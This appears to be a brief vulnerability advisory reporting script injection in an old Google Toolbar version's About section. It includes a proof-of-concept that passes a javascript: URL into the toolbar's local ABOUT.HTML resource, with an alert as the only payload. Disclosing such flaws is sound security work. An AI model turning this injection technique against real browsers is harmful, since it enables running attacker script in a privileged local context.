Affection Software : GoogleToolbar Version : Tested on 2.0.114.1-big/en (GGLD)
Notes: GoogleToolbar's About section allows injection of script, since it lacks any checking. The following code is a Proof Of Concept.
<s c r i p t> window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML", "<div style=\"background-image: url(javascript:alert(location.href));\">"); </s c r i p t>
